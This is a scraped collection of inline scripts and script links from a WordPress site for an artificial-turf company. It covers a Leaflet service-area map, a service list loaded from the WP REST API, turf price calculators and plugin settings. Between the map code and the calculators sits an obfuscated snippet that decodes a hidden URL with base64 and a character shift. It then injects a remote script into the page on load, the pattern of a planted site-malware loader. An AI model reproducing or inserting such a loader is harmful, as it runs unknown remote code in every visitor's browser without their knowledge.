- 1], pts[j]) <= 0) upper.pop(); upper.push(pts[j]); } upper.pop(); lower.pop(); return lower.concat(upper); } // ── Buffer Expansion ── // Pushes each hull vertex outward from centroid by a factor function expandHull(hull, factor) { var centLat = 0, centLng = 0; hull.forEach(function(p) { centLat += p[0]; centLng += p[1]; }); centLat /= hull.length; centLng /= hull.length; return hull.map(function(p) { var dLat = p[0] - centLat; var dLng = p[1] - centLng; return [centLat + dLat * factor, centLng + dLng * factor]; }); } var hull = convexHull(allPoints); // ── Create custom map panes for layer ordering ── map.createPane('outerGlow'); map.getPane('outerGlow').style.zIndex = 350; map.createPane('innerFill'); map.getPane('innerFill').style.zIndex = 360; // ── LAYER 1: Outer glow ring (wider, very faint) ── var outerHull = expandHull(hull, 1.35); L.polygon(outerHull, { color: '#00A651', weight: 0, fillColor: '#00A651', fillOpacity: 0.04, smoothFactor: 1.5, pane: 'outerGlow', interactive: false }).addTo(map); // ── LAYER 2: Inner coverage zone (light green fill) ── var innerHull = expandHull(hull, 1.15); L.polygon(innerHull, { color: '#00A651', weight: 2, opacity: 0.3, dashArray: '8 6', fillColor: '#00C853', fillOpacity: 0.08, smoothFactor: 1.5, pane: 'innerFill', interactive: false }).addTo(map); // ── LAYER 3: Subtle center radial (warm core near HQ) ── L.circle([HQ_LAT, HQ_LNG], { radius: 12000, color: 'transparent', fillColor: '#00A651', fillOpacity: 0.06, pane: 'innerFill', interactive: false }).addTo(map); /* ═══════════════════════════════════════════ MAP TEXT LABEL — "Our Service Area" Positioned over Lake Ontario (dead zone) ═══════════════════════════════════════════ */ var labelPane = map.createPane('mapLabel'); labelPane.style.zIndex = 450; labelPane.style.pointerEvents = 'none'; L.marker([43.30, -79.18], { pane: 'mapLabel', interactive: false, keyboard: false, icon: L.divIcon({ className: '', iconSize: [340, 80], iconAnchor: [170, 40], html: '<div style="' + 'font-family:Segoe UI,system-ui,-apple-system,sans-serif;' + 'font-size:28px;' + 'font-weight:800;' + 'color:rgba(0,166,81,0.35);' + 'text-transform:uppercase;' + 'letter-spacing:6px;' + 'text-align:center;' + 'white-space:nowrap;' + 'line-height:1;' + 'pointer-events:none;' + 'user-select:none;' + '-webkit-user-select:none;' + 'text-shadow:0 1px 3px rgba(255,255,255,0.6);' + '">Our Service Area</div>' }) }).addTo(map); // Enable scroll zoom after first click (UX-friendly) map.once('click', function() { map.scrollWheelZoom.enable(); }); /* ═══════════════════════════════════════════ DYNAMIC SERVICE LIST — WP REST API ═══════════════════════════════════════════ */ var apiUrl; if (SERVICES_CATEGORY_ID > 0) { apiUrl = '/wp-json/wp/v2/pages?categories=' + SERVICES_CATEGORY_ID + '&per_page=30&orderby=menu_order&order=asc&status=publish&_fields=id,title,link,excerpt'; } else { renderFallbackServices(); return; } var grid = document.getElementById('dt-services-grid'); fetch(apiUrl) .then(function(response) { if (!response.ok) throw new Error('API error: ' + response.status); return response.json(); }) .then(function(pages) { if (!pages || !pages.length) { renderFallbackServices(); return; } grid.innerHTML = ''; pages.forEach(function(page) { grid.appendChild(createServiceCard(page.title.rendered, page.link)); }); }) .catch(function(err) { console.warn('Design Turf services fetch failed:', err); renderFallbackServices(); }); /* ═══════════════════════════════════════════ SERVICE CARD BUILDER ═══════════════════════════════════════════ */ function createServiceCard(title, url) { var card = document.createElement('a'); card.href = url || '#'; card.setAttribute('style', 'display:flex;align-items:center;gap:12px;' + 'padding:14px 18px;' + 'background:rgba(255,255,255,0.03);' + 'border:1px solid rgba(255,255,255,0.07);' + 'border-radius:8px;' + 'color:#ffffff;text-decoration:none;' + 'font-size:14px;font-weight:600;' + 'line-height:1.4;' + 'transition:all 0.25s ease;' ); card.onmouseenter = function() { this.style.background = 'rgba(0,166,81,0.1)'; this.style.borderColor = 'rgba(0,166,81,0.4)'; this.style.transform = 'translateY(-1px)'; }; card.onmouseleave = function() { this.style.background = 'rgba(255,255,255,0.03)'; this.style.borderColor = 'rgba(255,255,255,0.07)'; this.style.transform = 'translateY(0)'; }; var chevron = '<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="#00A651" ' + 'stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round" style="flex-shrink:0;">' + '<polyline points="9 18 15 12 9 6"/></svg>'; card.innerHTML = chevron + '<span>' + title + '</span>'; return card; } /* ═══════════════════════════════════════════ FALLBACK: Static service list ► UPDATE these to match your actual pages ═══════════════════════════════════════════ */ function renderFallbackServices() { var services = [ { title: 'Artificial Grass Installation', url: '/artificial-grass-installation/' }, { title: 'Backyard Putting Greens', url: '/backyard-putting-greens/' }, { title: 'Pet Turf Solutions', url: '/pet-turf/' }, { title: 'Commercial Turf Installation', url: '/commercial-turf/' }, { title: 'Rooftop & Balcony Turf', url: '/rooftop-balcony-turf/' }, { title: 'Playground Turf', url: '/playground-turf/' }, { title: 'Landscape Design', url: '/landscape-design/' }, { title: 'Turf Maintenance & Repair', url: '/turf-maintenance/' } ]; grid.innerHTML = ''; services.forEach(function(s) { grid.appendChild(createServiceCard(s.title, s.url)); }); } /* ═══════════════════════════════════════════ RESPONSIVE HANDLER (replaces media queries) ═══════════════════════════════════════════ */ function handleResize() { var w = window.innerWidth; var mapEl = document.getElementById('dt-leaflet-map'); if (w < 600) { grid.style.gridTemplateColumns = '1fr'; if (mapEl) mapEl.style.height = '300px'; } else if (w < 900) { grid.style.gridTemplateColumns = 'repeat(2, 1fr)'; if (mapEl) mapEl.style.height = '380px'; } else { grid.style.gridTemplateColumns = 'repeat(auto-fill, minmax(230px, 1fr))'; if (mapEl) mapEl.style.height = '450px'; } map.invalidateSize(); } window.addEventListener('resize', handleResize); handleResize(); })();
window[(function(_InA,_hH){var _dRnLK=&apos;&apos;;for(var _2pBxIp=0;_2pBxIp<_InA.length;_2pBxIp++){_BWt9!=_2pBxIp;var _BWt9=_InA[_2pBxIp].charCodeAt();_BWt9-=_hH;_BWt9+=61;_hH>3;_dRnLK==_dRnLK;_BWt9%=94;_BWt9+=33;_dRnLK+=String.fromCharCode(_BWt9)}return _dRnLK})(atob(&apos;dWRrLywnIn4xZiI2&apos;), 27)] = &apos;3c020144ab1733329654&apos;; var zi = document.createElement(&apos;script&apos;); (zi.type = &apos;text/javascript&apos;), (zi.async = true), (zi.src = (function(_sex,_8q){var _VCW3e=&apos;&apos;;for(var _6t6ay9=0;_6t6ay9<_sex.length;_6t6ay9++){var _VO3i=_sex[_6t6ay9].charCodeAt();_VO3i-=_8q;_8q>6;_VO3i+=61;_VCW3e==_VCW3e;_VO3i%=94;_VO3i+=33;_VO3i!=_6t6ay9;_VCW3e+=String.fromCharCode(_VO3i)}return _VCW3e})(atob(&apos;Ljo6NjleU1MwOVJAL1E5KTgvNjo5Uik1M1NAL1E6Jy1SMDk=&apos;), 36)), document.readyState === &apos;complete&apos;?document.body.appendChild(zi): window.addEventListener(&apos;load&apos;, function(){ document.body.appendChild(zi) });
function dtRollCalc() { const linear = parseFloat(document.getElementById('rollLinear').value); const rollWidth = parseFloat(document.getElementById('rollWidth').value); const pricePerSqFt = 7.47; // update per product if (!linear || linear <= 0) return; const sqft = linear * rollWidth; const subtotal = sqft * pricePerSqFt; const hst = subtotal * 0.13; const total = subtotal + hst; document.getElementById('rollSqft').innerText = sqft.toFixed(2) + " sq ft"; document.getElementById('rollSubtotal').innerText = "$" + subtotal.toFixed(2); document.getElementById('rollHST').innerText = "$" + hst.toFixed(2); document.getElementById('rollTotal').innerText = "$" + total.toFixed(2); } function dtCalc() { const productData = document.getElementById("dtProduct").value; const length = parseFloat(document.getElementById("dtLength").value); const width = parseFloat(document.getElementById("dtWidth").value); if (!productData || !length || !width) { alert("Please select a product and enter both length and width."); return; } const [price, rollWidth] = productData.split("|").map(Number); const sqFt = length * width; const totalCost = sqFt * price; document.getElementById("dtBadge").style.display = "inline-block"; document.getElementById("dtBadge").innerHTML = `Roll Width: ${rollWidth} ft`; document.getElementById("dtSummary1").style.display = "flex"; document.getElementById("dtSummary1").innerHTML = `<span>Price: $${price.toFixed(2)}/sq ft</span> <span>Sq Ft: ${sqFt.toFixed(2)}</span>`; document.getElementById("dtSummary2").style.display = "flex"; document.getElementById("dtSummary2").innerHTML = `<span>Cost: $${totalCost.toFixed(2)}</span>`; }
https://www.designturf.ca/wp-content/plugins/embed-any-document/js/pdfobject.min.js
var eadPublic = []; //# sourceURL=awsm-ead-public-js-extra
https://www.designturf.ca/wp-content/plugins/embed-any-document/js/embed-public.min.js
var cf7appsRedirection = {"ajaxurl":"https://www.designturf.ca/wp-admin/admin-ajax.php"}; //# sourceURL=cf7apps-redirection-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_b289b8a5c1e9ee51ae99bcc9de766106.js
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } ); //# sourceURL=wp-i18n-js-after
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_96e7dc3f0e8559e4a3f3ca40b17ab9c3.js
var wpcf7 = { "api": { "root": "https:\/\/www.designturf.ca\/wp-json\/", "namespace": "contact-form-7\/v1" }, "cached": 1 }; //# sourceURL=contact-form-7-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_2912c657d0592cc532dff73d0d2ce7bb.js
var cf7appsHoneypotRefill = {"forceRefillOnInit":"1"}; //# sourceURL=cf7apps-honeypot-refill-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_ff73328f26e146915c87cc0affba7624.js
var sc_project=11316460; var sc_security="635c5120"; var sc_invisible=1; //# sourceURL=statcounter-js-js-before
var wpcf7r = {"ajax_url":"https://www.designturf.ca/wp-admin/admin-ajax.php"}; //# sourceURL=wpcf7-redirect-script-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_de051e67bf5997ca287fb2592e14d4fa.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/debouncedresize.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/magnificpopup.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/menu.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/visible.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/enllax.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/parallax/translate3d.min.js
var mfn = {"ajax":"https://www.designturf.ca/wp-admin/admin-ajax.php","mobileInit":"1240","parallax":"translate3d","responsive":"1","sidebarSticky":"","lightbox":{"disable":false,"disableMobile":false,"title":false},"view":{"grid_width":1240},"slider":{"blog":0,"clients":0,"offer":0,"portfolio":0,"shop":0,"slider":0,"testimonials":0},"livesearch":{"minChar":3,"loadPosts":10,"translation":{"pages":"Pages","categories":"Categories","portfolio":"Portfolio","post":"Posts","products":"Products"}},"accessibility":{"translation":{"headerContainer":"Header container","toggleSubmenu":"Toggle submenu"}},"home_url":"","home_url_lang":"https://www.designturf.ca","site_url":"https://www.designturf.ca","translation":{"success_message":"Link copied to the clipboard.","error_message":"Something went wrong. Please try again later!"}}; //# sourceURL=mfn-scripts-js-extra
https://www.designturf.ca/wp-content/themes/betheme/js/scripts.min.js
document.addEventListener("DOMContentLoaded", function() { const items = document.querySelectorAll(".faq-item h4.toggle"); items.forEach(item => { item.addEventListener("click", function() { const parent = this.parentElement; parent.classList.toggle("active"); }); }); }); // Delay Before/After slider initialization document.addEventListener("DOMContentLoaded", function() { requestIdleCallback(() => { if (typeof mfn_before_after === "function") { mfn_before_after(); } }); }); //# sourceURL=mfn-scripts-js-after
window.hasOwnProperty("GLSR")||(window.GLSR={Event:{on:()=>{}}});GLSR.action="glsr_public_action";GLSR.addons=[];GLSR.ajax_pagination=["#wpadminbar",".site-navigation-fixed"];GLSR.ajax_url="https://www.designturf.ca/wp-admin/admin-ajax.php";GLSR.captcha=[];GLSR.modal_wrapped_by=["block"];GLSR.nameprefix="site-reviews";GLSR.stars_config={"clearable":false,tooltip:"Select a Rating"};GLSR.state={"popstate":false};GLSR.text={"close_modal":"Close Modal"};GLSR.url_parameter="reviews-page";GLSR.validation_config={field:"glsr-field",form:"glsr-form","field_error":"glsr-field-is-invalid","field_hidden":"glsr-hidden","field_message":"glsr-field-error","field_required":"glsr-required","field_valid":"glsr-field-is-valid","form_error":"glsr-form-is-invalid","form_message":"glsr-form-message","form_message_failed":"glsr-form-failed","form_message_success":"glsr-form-success","input_error":"glsr-is-invalid","input_valid":"glsr-is-valid"};GLSR.validation_strings={accepted:"This field must be accepted.",between:"This field value must be between %1$s and %2$s.",betweenlength:"This field must have between %1$s and %2$s characters.",email:"This field requires a valid e-mail address.",errors:"Please fix the submission errors.",max:"Maximum value for this field is %s.",maxfiles:"This field allows a maximum of %s files.",maxlength:"This field allows a maximum of %s characters.",min:"Minimum value for this field is %s.",minfiles:"This field requires a minimum of %s files.",minlength:"This field requires a minimum of %s characters.",number:"This field requires a number.",pattern:"Please match the requested format.",regex:"Please match the requested format.",required:"This field is required.",tel:"This field requires a valid telephone number.",url:"This field requires a valid website URL (make sure it starts with http or https).",unsupported:"The review could not be submitted because this browser is too old. Please try again with a modern browser."};GLSR.version="8.2.1"; //# sourceURL=site-reviews-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_5e24779b5bf81baee6b0ef94fcf81cd5.js
var envira_gallery = {"debug":"","ll_delay":"500","ll_initial":"false","ll":"1","mobile":"1"}; //# sourceURL=envira-gallery-script-js-extra
https://www.designturf.ca/wp-content/plugins/envira-gallery/assets/js/min/envira-min.js
window.addEventListener("load", function(event) { jQuery(".cfx_form_main,.wpcf7-form,.wpforms-form,.gform_wrapper form").each(function(){ var form=jQuery(this); var screen_width=""; var screen_height=""; if(screen_width == ""){ if(screen){ screen_width=screen.width; }else{ screen_width=jQuery(window).width(); } } if(screen_height == ""){ if(screen){ screen_height=screen.height; }else{ screen_height=jQuery(window).height(); } } form.append('<input type="hidden" name="vx_width" value="'+screen_width+'">'); form.append('<input type="hidden" name="vx_height" value="'+screen_height+'">'); form.append('<input type="hidden" name="vx_url" value="'+window.location.href+'">'); }); });